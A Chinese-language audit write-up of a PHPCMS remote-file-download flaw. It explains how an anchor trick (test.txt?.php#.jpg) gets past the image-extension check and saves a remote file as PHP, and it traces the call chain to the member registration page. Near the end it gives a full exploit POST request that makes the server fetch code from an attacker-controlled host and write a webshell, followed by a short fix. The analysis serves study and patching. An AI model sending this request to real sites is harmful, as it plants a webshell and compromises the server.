0x01前言 这个漏洞出来也有一段时间了,成天不知道瞎忙些什么,一直也没静下心来研究一下。。。自己水平也是菜,一直玩人家反复玩了不知道多少遍的东西。只能多学点挖洞姿势,希望自己以后也能挖到一个0day(有生之年系列。。。。)
0x02漏洞分析 漏洞出现在/phpcms/libs/classes/attachment.class.php
中的download函数中,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 function download ($field , $value ,$watermark = '0' ,$ext = 'gif|jpg|jpeg|bmp|png' , $absurl = '' , $basehref = '' ) { global $image_d ; $this ->att_db = pc_base::load_model ('attachment_model' ); $upload_url = pc_base::load_config ('system' ,'upload_url' ); $this ->field = $field ; $dir = date ('Y/md/' ); $uploadpath = $upload_url .$dir ; $uploaddir = $this ->upload_root.$dir ; $string = new_stripslashes ($value ); if (!preg_match_all ("/(href|src)=([\"|']?)([^ \"'>]+\.($ext ))\\2/i" , $string , $matches )) return $value ; $remotefileurls = array (); foreach ($matches [3 ] as $matche ) { if (strpos ($matche , '://' ) === false ) continue ; dir_create ($uploaddir ); $remotefileurls [$matche ] = $this ->fillurl ($matche , $absurl , $basehref ); } unset ($matches , $string ); $remotefileurls = array_unique ($remotefileurls ); $oldpath = $newpath = array (); foreach ($remotefileurls as $k =>$file ) { if (strpos ($file , '://' ) === false || strpos ($file , $upload_url ) !== false ) continue ; $filename = fileext ($file ); $file_name = basename ($file ); $filename = $this ->getname ($filename ); $newfile = $uploaddir .$filename ; $upload_func = $this ->upload_func; if ($upload_func ($file , $newfile )) { $oldpath [] = $k ; $GLOBALS ['downloadfiles' ][] = $newpath [] = $uploadpath .$filename ; @chmod ($newfile , 0777 ); $fileext = fileext ($filename ); if ($watermark ){ watermark ($newfile , $newfile ,$this ->siteid); } $filepath = $dir .$filename ; $downloadedfile = array ('filename' =>$filename , 'filepath' =>$filepath , 'filesize' =>filesize ($newfile ), 'fileext' =>$fileext ); $aid = $this ->add ($downloadedfile ); $this ->downloadedfiles[$aid ] = $filepath ; } } return str_replace ($oldpath , $newpath , $value ); }
简单分析一下函数的功能,函数形参$value获取到是远程文件的url,也是我们构造poc的地方。这段正则检测远程文件后缀名的合法性(gif|jpg|jpeg|bmp|png为合法),这里只是检测url的最后,所以我们可以用url有锚点(#)的特性来绕过。如果觉得难懂就拿出来输出一下匹配结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php $ext = 'jpg' ; $string = 'src=http://192.168.31.131/test.txt?.php#.jpg' ; preg_match_all ("/(href|src)=([\"|']?)([^ \"'>]+\.($ext ))\\2/i" , $string , $matches ); var_dump ($matches ); ?> array (5 ) { [0 ]=> array (1 ) { [0 ]=> string (44 ) "src=http://192.168.31.131/test.txt?.php#.jpg" } [1 ]=> array (1 ) { [0 ]=> string (3 ) "src" } [2 ]=> array (1 ) { [0 ]=> string (0 ) "" } [3 ]=> array (1 ) { [0 ]=> string (40 ) "http://192.168.31.131/test.txt?.php#.jpg" } [4 ]=> array (1 ) { [0 ]=> string (3 ) "jpg" } }
很明显我们构造的poc绕过了正则的检测,否则输出结果就位空了。继续往下走,将src的值放入fillurl函数(与download函数在同一文件)中,继续跟下去:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 function fillurl ($surl , $absurl , $basehref = '' ) { if ($basehref != '' ) { $preurl = strtolower (substr ($surl ,0 ,6 )); if ($preurl =='http://' || $preurl =='ftp://' ||$preurl =='mms://' || $preurl =='rtsp://' || $preurl =='thunde' || $preurl =='emule://' || $preurl =='ed2k://' ) return $surl ; else return $basehref .'/' .$surl ; } $i = 0 ; $dstr = '' ; $pstr = '' ; $okurl = '' ; $pathStep = 0 ; $surl = trim ($surl ); if ($surl =='' ) return '' ; $urls = @parse_url (SITE_URL); $HomeUrl = $urls ['host' ]; $BaseUrlPath = $HomeUrl .$urls ['path' ]; $BaseUrlPath = preg_replace ("/\/([^\/]*)\.(.*)$/" ,'/' ,$BaseUrlPath ); $BaseUrlPath = preg_replace ("/\/$/" ,'' ,$BaseUrlPath ); $pos = strpos ($surl ,'#' ); if ($pos >0 ) $surl = substr ($surl ,0 ,$pos ); if ($surl [0 ]=='/' ) { $okurl = 'http://' .$HomeUrl .'/' .$surl ; } elseif ($surl [0 ] == '.' ) { if (strlen ($surl )<=2 ) return '' ; elseif ($surl [0 ]=='/' ) { $okurl = 'http://' .$BaseUrlPath .'/' .substr ($surl ,2 ,strlen ($surl )-2 ); } else { $urls = explode ('/' ,$surl ); foreach ($urls as $u ) { if ($u ==".." ) $pathStep ++; else if ($i <count ($urls )-1 ) $dstr .= $urls [$i ].'/' ; else $dstr .= $urls [$i ]; $i ++; } $urls = explode ('/' , $BaseUrlPath ); if (count ($urls ) <= $pathStep ) return '' ; else { $pstr = 'http://' ; for ($i =0 ;$i <count ($urls )-$pathStep ;$i ++) { $pstr .= $urls [$i ].'/' ; } $okurl = $pstr .$dstr ; } } } else { $preurl = strtolower (substr ($surl ,0 ,6 )); if (strlen ($surl )<7 ) $okurl = 'http://' .$BaseUrlPath .'/' .$surl ; elseif ($preurl =="http:/" ||$preurl =='ftp://' ||$preurl =='mms://' || $preurl =="rtsp://" || $preurl =='thunde' || $preurl =='emule:' || $preurl =='ed2k:/' ) $okurl = $surl ; else $okurl = 'http://' .$BaseUrlPath .'/' .$surl ; } $preurl = strtolower (substr ($okurl ,0 ,6 )); if ($preurl =='ftp://' || $preurl =='mms://' || $preurl =='rtsp://' || $preurl =='thunde' || $preurl =='emule:' || $preurl =='ed2k:/' ) { return $okurl ; } else { $okurl = preg_replace ('/^(http:\/\/)/i' ,'' ,$okurl ); $okurl = preg_replace ('/\/{1,}/i' ,'/' ,$okurl ); return 'http://' .$okurl ; } }
虽然这个函数写了一大坨,但是功能只有一个,就是把url的锚点去掉。回到download函数,此时取到的$remotefileurl的值为array(‘http://192.168.31.131/test.txt?.php#.jpg' => ‘http://192.168.31.131/test.txt?.php'),然后经过了fileext函数:
1 2 3 function fileext ($filename ) { return strtolower (trim (substr (strrchr ($filename , '.' ), 1 , 10 ))); }
这里要说一说strrchr函数,这个php内置函数是查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符
,便于理解还是贴出测试代码:
1 2 3 4 5 6 7 8 9 <?php $filename = 'text.txt?.php' ; echo strrchr ($filename , '.' ) ."\n" ; $ext = substr (strrchr ($filename , '.' ), 1 , 10 ); echo $ext ; ?> .php php
将后缀名取出之后没有做任何检测,那后面呢?我们继续向下看。将后缀名传入getname函数:
1 2 3 function getname ($fileext ) { return date ('Ymdhis' ).rand (100 , 999 ).'.' .$fileext ; }
直接拼接后缀名,依然没有任何过滤。。。下面就直接下载文件并重命名,此时我们放在远程主机上的txt文件就被保存为了php文件,导致getshell。这里对url处理不当,以及前面一次过滤就以为万事大吉
导致这个漏洞的产生。
找到了漏洞存在的地方,下面就要寻找一个触发漏洞的地方。 全局搜索一下,发现调用download函数的地方有不少:
这里以caches/caches_model/caches_data/member_input.class.php
为例:
1 2 3 4 5 6 7 8 function editor ($field , $value ) { $setting = string2array ($this ->fields[$field ]['setting' ]); $enablesaveimage = $setting ['enablesaveimage' ]; $site_setting = string2array ($this ->site_config['setting' ]); $watermark_enable = intval ($site_setting ['watermark_enable' ]); $value = $this ->attachment->download ('content' , $value ,$watermark_enable ); return $value ; }
可以看到没有对$value做任何过滤,那么editor函数又在哪里被调用了呢?看大牛的paper说是动态调用
的。。。。(这不就超出我的能力范围了嘛。。),调用的地方在同文件的get函数里:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 function get ($data ) { $this ->data = $data = trim_script ($data ); $model_cache = getcache ('member_model' , 'commons' ); $this ->db->table_name = $this ->db_pre.$model_cache [$this ->modelid]['tablename' ]; $info = array (); $debar_filed = array ('catid' ,'title' ,'style' ,'thumb' ,'status' ,'islink' ,'description' ); if (is_array ($data )) { foreach ($data as $field =>$value ) { if ($data ['islink' ]==1 && !in_array ($field ,$debar_filed )) continue ; $field = safe_replace ($field ); $name = $this ->fields[$field ]['name' ]; $minlength = $this ->fields[$field ]['minlength' ]; $maxlength = $this ->fields[$field ]['maxlength' ]; $pattern = $this ->fields[$field ]['pattern' ]; $errortips = $this ->fields[$field ]['errortips' ]; if (empty ($errortips )) $errortips = "$name 不符合要求!" ; $length = empty ($value ) ? 0 : strlen ($value ); if ($minlength && $length < $minlength && !$isimport ) showmessage ("$name 不得少于 $minlength 个字符!" ); if (!array_key_exists ($field , $this ->fields)) showmessage ('模型中不存在' .$field .'字段' ); if ($maxlength && $length > $maxlength && !$isimport ) { showmessage ("$name 不得超过 $maxlength 个字符!" ); } else { str_cut ($value , $maxlength ); } if ($pattern && $length && !preg_match ($pattern , $value ) && !$isimport ) showmessage ($errortips ); if ($this ->fields[$field ]['isunique' ] && $this ->db->get_one (array ($field =>$value ),$field ) && ROUTE_A != 'edit' ) showmessage ("$name 的值不得重复!" ); $func = $this ->fields[$field ]['formtype' ]; if (method_exists ($this , $func )) $value = $this ->$func ($field , $value ); $info [$field ] = $value ; } } return $info ; }
先对 $data 先做了 trim 去除两头空白字符的处理。if($data['islink']==1 && !in_array($field,$debar_filed)) continue;
然后如果传入的字段在黑名单里面,则不能继续执行,所以我们需要 在caches/caches_model/caches_data/model_field_1.cache.php
文件里面找到合适的field 名。 然后使用safe_replace函数来处理:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 function safe_replace ($string ) { $string = str_replace ('%20' ,'' ,$string ); $string = str_replace ('%27' ,'' ,$string ); $string = str_replace ('%2527' ,'' ,$string ); $string = str_replace ('*' ,'' ,$string ); $string = str_replace ('"' ,'"' ,$string ); $string = str_replace ("'" ,'' ,$string ); $string = str_replace ('"' ,'' ,$string ); $string = str_replace (';' ,'' ,$string ); $string = str_replace ('<' ,'<' ,$string ); $string = str_replace ('>' ,'>' ,$string ); $string = str_replace ("{" ,'' ,$string ); $string = str_replace ('}' ,'' ,$string ); $string = str_replace ('\\' ,'' ,$string ); return $string ; }
没啥影响,继续向下看:
1 2 $func = $this ->fields[$field ]['formtype' ];if (method_exists ($this , $func )) $value = $this ->$func ($field , $value );
我们要找的 field 的 formtype 值必须是 editor,先跟一下fields变量
1 2 3 4 5 6 7 8 9 var $modelid ;var $fields ;var $data ;function __construct ($modelid ) { ...... $this ->fields = getcache ('model_field_' .$modelid ,'model' ); ...... }
继续跟到getcache函数:
1 2 3 4 5 6 7 8 9 10 11 12 function getcache ($name , $filepath ='' , $type ='file' , $config ='' ) { if (!preg_match ("/^[a-zA-Z0-9_-]+$/" , $name )) return false ; if ($filepath !="" && !preg_match ("/^[a-zA-Z0-9_-]+$/" , $filepath )) return false ; pc_base::load_sys_class ('cache_factory' ,'' ,0 ); if ($config ) { $cacheconfig = pc_base::load_config ('cache' ); $cache = cache_factory::get_instance ($cacheconfig )->get_cache ($config ); } else { $cache = cache_factory::get_instance ()->get_cache ($type ); } return $cache ->get ($name , '' , '' , $filepath ); }
就是读取的caches/caches_model/caches_data/model_field_{$modelid}.cache.php
文件,$modelid是我们可以控制的(后面会提到),正好在caches/caches_model/caches_data/model_field_1.cache.php
文件里面找到合适的 field 字段——content
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ...... 'content' => array ( 'fieldid' => '8' , 'modelid' => '1' , 'siteid' => '1' , 'field' => 'content' , 'name' => '内容' , 'tips' => '<div class="content_attr"><label><input name="add_introduce" type="checkbox" value="1" checked>是否截取内容</label><input type="text" name="introcude_length" value="200" size="3">字符至内容摘要 <label><input type=\'checkbox\' name=\'auto_thumb\' value="1" checked>是否获取内容第</label><input type="text" name="auto_thumb_no" value="1" size="2" class="">张图片作为标题图片 </div>' , 'css' => '' , 'minlength' => '1' , 'maxlength' => '999999' , 'pattern' => '' , 'errortips' => '内容不能为空' , 'formtype' => 'editor' , ......
因为这个文件是 cache 文件,根据其命名规范,找其对应的 module 文件就好了,对应的目录为: /phpcms/modules/member/ ,我们重点关注哪个文件中的方法中用了 $member_input‐>get 方法,并且这个方法可以在前台调用。
这三处看了一下只有/phpcms/modules/member/index.php 中的 register 方法比较适合利用,关键代码如下:
1 2 3 4 5 6 7 8 if ($member_setting ['choosemodel' ]) { require_once CACHE_MODEL_PATH.'member_input.class.php' ; require_once CACHE_MODEL_PATH.'member_update.class.php' ; $member_input = new member_input ($userinfo ['modelid' ]); $_POST ['info' ] = array_map ('new_html_special_chars' ,$_POST ['info' ]); $user_model_info = $member_input ->get ($_POST ['info' ]); }
$_POST[‘info’]经过new_html_special_chars函数,将文本转化为html实体
1 2 3 4 5 6 7 8 9 function new_html_special_chars ($string ) { $encoding = 'utf-8' ; if (strtolower (CHARSET)=='gbk' ) $encoding = 'ISO-8859-15' ; if (!is_array ($string )) return htmlspecialchars ($string ,ENT_QUOTES,$encoding ); foreach ($string as $key => $val ) $string [$key ] = new_html_special_chars ($val ); return $string ; }
还记得这个modelid吗?在member_input.class.php中可以通过这个变量获取到我们想要的field值,而现在我们发现,这个变量是可控的,是不是很开心?
1 2 $userinfo ['modelid' ] = isset ($_POST ['modelid' ]) ? intval ($_POST ['modelid' ]) : 10 ;
经过这么久的分析,终于到了最后一击。结合我们上面的一系列分析,只要 $_POST[‘info’] 中的 content 字段的值有 src=http://10.10.10.1/test.txt?.php#.jpg 这个字符串或者把 src 替换成 href 就能触发漏洞了。
最后再啰嗦啰嗦,总体上分析一下这个src=http://10.10.10.1/test.txt?.php#.jpg
payload: 1. 取出src的值,并且验证后缀名的合法性,利用#.jpg绕过 2. 去除锚点,src变为http://127.0.0.1/test.txt?.php 3. 获取远程文件后缀名,由于使用了strrchr函数,导致取得的后缀名为php 4. 直接copy远程文件,并重命名,shell已经写入目标主机中 ps.关于test.txt?.php为什么是这样,上两个图应该就明白了
0x03漏洞利用 忙活了这么半天就为了这一刻啊~ 首先进入注册页面 /index.php?m=member&c=index&a=register&siteid=1 填写注册信息后抓包
参考这个可以构造info[content]参数
但是像这样提交是会报模块中没有birthday字段错误的,那去掉就好了~ 最终利用方式如下
1 2 url: /index.php?m=member&c=index&a=register&siteid=1 post数据:siteid=1&modelid=11&username=abcd&password=123456&email=abcd@qq.com&info[content]=src=http://10.10.10.1/test.txt?.php#.jpg&dosubmit=1&protocol=
0x04漏洞修复
在获取后缀名的时候再次验证后缀名的合法性 在 /phpcms/libs/classes/attachment.class.php 的166行后加上一行代码检查:if(!preg_match("/($ext)/i", $filename)) continue;
下载9.6.1版。。。。。。
0x05总结 这篇文章写得很长,看起来可能有些啰嗦,我只是想把我的审计过程详细的记录下来。这次审计学到了很多东西,像函数的动态调用
、找到漏洞点之后再去寻找触发点
等,都是之前自己小打小闹的时候没有遇到过的。总而言之,水平有待提高啊。。。